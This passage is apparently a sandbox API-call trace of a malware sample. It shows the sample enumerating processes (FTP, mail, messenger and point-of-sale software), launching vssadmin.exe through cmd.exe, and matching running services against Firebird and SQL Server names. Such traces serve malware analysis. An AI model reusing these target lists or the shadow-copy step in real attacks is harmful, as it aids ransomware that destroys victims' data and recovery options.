th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patrick below addressed.exe")) returned 1 [0049.292] lstrlenW (lpString="patrick below addressed.exe") returned 27 [0049.292] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jessefun.exe")) returned 1 [0049.293] lstrlenW (lpString="jessefun.exe") returned 12 [0049.293] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spyware-tampa.exe")) returned 1 [0049.293] lstrlenW (lpString="spyware-tampa.exe") returned 17 [0049.293] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sellers.exe")) returned 1 [0049.294] lstrlenW (lpString="sellers.exe") returned 11 [0049.294] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gras hair.exe")) returned 1 [0049.294] lstrlenW (lpString="gras hair.exe") returned 13 [0049.294] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="acquisitions.exe")) returned 1 [0049.295] lstrlenW (lpString="acquisitions.exe") returned 16 [0049.295] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="starscondos.exe")) returned 1 [0049.295] lstrlenW (lpString="starscondos.exe") returned 15 [0049.295] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0049.296] lstrlenW (lpString="3dftp.exe") returned 9 [0049.296] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0049.296] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0049.296] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0049.297] lstrlenW (lpString="alftp.exe") returned 9 [0049.297] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0049.297] lstrlenW (lpString="barca.exe") returned 9 [0049.297] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0049.298] lstrlenW (lpString="bitkinex.exe") returned 12 [0049.298] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0049.299] lstrlenW (lpString="coreftp.exe") returned 11 [0049.299] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0049.299] lstrlenW (lpString="far.exe") returned 7 [0049.299] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0049.300] lstrlenW (lpString="filezilla.exe") returned 13 [0049.300] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0049.300] lstrlenW (lpString="flashfxp.exe") returned 12 [0049.300] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0049.301] lstrlenW (lpString="fling.exe") returned 9 [0049.301] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0049.302] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0049.302] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0049.302] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0049.302] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0049.303] lstrlenW (lpString="icq.exe") returned 7 [0049.303] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0049.304] lstrlenW (lpString="leechftp.exe") returned 12 [0049.304] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0049.305] lstrlenW (lpString="ncftp.exe") returned 9 [0049.305] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0049.306] lstrlenW (lpString="notepad.exe") returned 11 [0049.306] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0049.306] lstrlenW (lpString="operamail.exe") returned 13 [0049.306] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0049.307] lstrlenW (lpString="pidgin.exe") returned 10 [0049.307] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0049.308] lstrlenW (lpString="scriptftp.exe") returned 13 [0049.308] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0049.309] lstrlenW (lpString="skype.exe") returned 9 [0049.309] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0049.310] lstrlenW (lpString="smartftp.exe") returned 12 [0049.310] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0049.311] lstrlenW (lpString="thunderbird.exe") returned 15 [0049.311] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0049.311] lstrlenW (lpString="totalcmd.exe") returned 12 [0049.311] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0049.312] lstrlenW (lpString="trillian.exe") returned 12 [0049.312] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0049.313] lstrlenW (lpString="webdrive.exe") returned 12 [0049.313] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0049.314] lstrlenW (lpString="whatsapp.exe") returned 12 [0049.314] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0049.314] lstrlenW (lpString="winscp.exe") returned 10 [0049.314] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0049.315] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0049.315] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0049.316] lstrlenW (lpString="active-charge.exe") returned 17 [0049.316] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0049.317] lstrlenW (lpString="accupos.exe") returned 11 [0049.317] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0049.317] lstrlenW (lpString="afr38.exe") returned 9 [0049.317] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0049.318] lstrlenW (lpString="aldelo.exe") returned 10 [0049.318] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0049.319] lstrlenW (lpString="ccv_server.exe") returned 14 [0049.319] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0049.319] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0049.319] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0049.320] lstrlenW (lpString="creditservice.exe") returned 17 [0049.320] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0049.321] lstrlenW (lpString="edcsvr.exe") returned 10 [0049.321] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0049.321] lstrlenW (lpString="fpos.exe") returned 8 [0049.321] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0049.612] lstrlenW (lpString="isspos.exe") returned 10 [0049.612] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0049.612] lstrlenW (lpString="mxslipstream.exe") returned 16 [0049.612] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0049.613] lstrlenW (lpString="omnipos.exe") returned 11 [0049.613] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0049.614] lstrlenW (lpString="spcwin.exe") returned 10 [0049.614] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0049.614] lstrlenW (lpString="spgagentservice.exe") returned 19 [0049.615] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0049.616] lstrlenW (lpString="utg2.exe") returned 8 [0049.616] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="burner.exe")) returned 1 [0049.617] lstrlenW (lpString="burner.exe") returned 10 [0049.617] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.617] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.617] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.618] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.618] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0049.618] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0049.618] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.619] lstrlenW (lpString="cmd.exe") returned 7 [0049.619] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.620] lstrlenW (lpString="conhost.exe") returned 11 [0049.620] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa60, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.620] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.620] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.621] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.621] Process32NextW (in: hSnapshot=0x204, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0049.621] CloseHandle (hObject=0x204) returned 1 [0049.621] Sleep (dwMilliseconds=0x1f4) [0050.343] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x59ff00 [0050.344] EnumServicesStatusExW (in: hSCManager=0x59ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 0 [0050.344] GetLastError () returned 0xea [0050.344] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x142e) returned 0x37f2700 [0050.345] EnumServicesStatusExW (in: hSCManager=0x59ff00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37f2700, cbBufSize=0x142e, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37f2700, pcbBytesNeeded=0x210ff44, lpServicesReturned=0x210ff5c, lpResumeHandle=0x0) returned 1 [0050.345] CloseServiceHandle (hSCObject=0x59ff00) returned 1 [0050.345] lstrlenW (lpString="Appinfo") returned 7 [0050.345] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.346] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.346] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.346] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.346] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.346] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.346] lstrlenW (lpString="AudioSrv") returned 8 [0050.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.346] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.346] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.346] lstrlenW (lpString="BFE") returned 3 [0050.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.346] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.346] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.346] lstrlenW (lpString="CryptSvc") returned 8 [0050.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.346] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.346] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.346] lstrlenW (lpString="CscService") returned 10 [0050.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.346] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.346] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.346] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.346] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.346] lstrlenW (lpString="DcomLaunch") returned 10 [0050.346] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.347] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.347] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.347] lstrlenW (lpString="Dhcp") returned 4 [0050.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.347] lstrlenW (lpString="Dnscache") returned 